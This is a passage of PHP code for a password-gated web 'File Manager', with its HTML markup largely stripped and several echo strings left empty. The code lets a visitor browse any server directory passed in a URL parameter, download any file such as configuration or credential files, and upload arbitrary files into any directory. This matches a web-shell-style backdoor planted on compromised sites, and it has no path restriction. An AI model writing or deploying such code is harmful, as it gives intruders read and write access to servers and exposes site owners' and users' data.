Password: "); } $dir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__; $dir = realpath($dir); if (isset($_GET['action']) && $_GET['action'] === 'view' && isset($_GET['file'])) { $file = realpath($_GET['file']); if (file_exists($file) && is_file($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); readfile($file); exit; } } if (isset($_FILES['upload_file'])) { $target_path = $dir . DIRECTORY_SEPARATOR . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target_path)) { echo ""; } else { echo ""; } } echo "File Manager"; echo "

Current Directory: " . htmlspecialchars($dir) . "

"; echo "
Go to:
"; echo "
Upload File to here:

"; if (is_dir($dir)) { $files = scandir($dir); echo ""; $parent = dirname($dir); echo ""; foreach ($files as $file) { if ($file === '.' || $file === '..') continue; $full_path = $dir . DIRECTORY_SEPARATOR . $file; $is_dir = is_dir($full_path); $size = $is_dir ? '-' : filesize($full_path) . ' bytes'; $type = $is_dir ? 'Dir' : 'File'; echo ""; if ($is_dir) { echo ""; echo ""; } else { echo ""; echo ""; echo ""; } echo ""; } echo "
NameTypeSizeAction
.. (Parent Directory)Dir--
📁 " . htmlspecialchars($file) . "$type$size-📄 " . htmlspecialchars($file) . "$type$size📥 Download/View
"; } else { echo "Not a valid directory."; } echo ""; ?>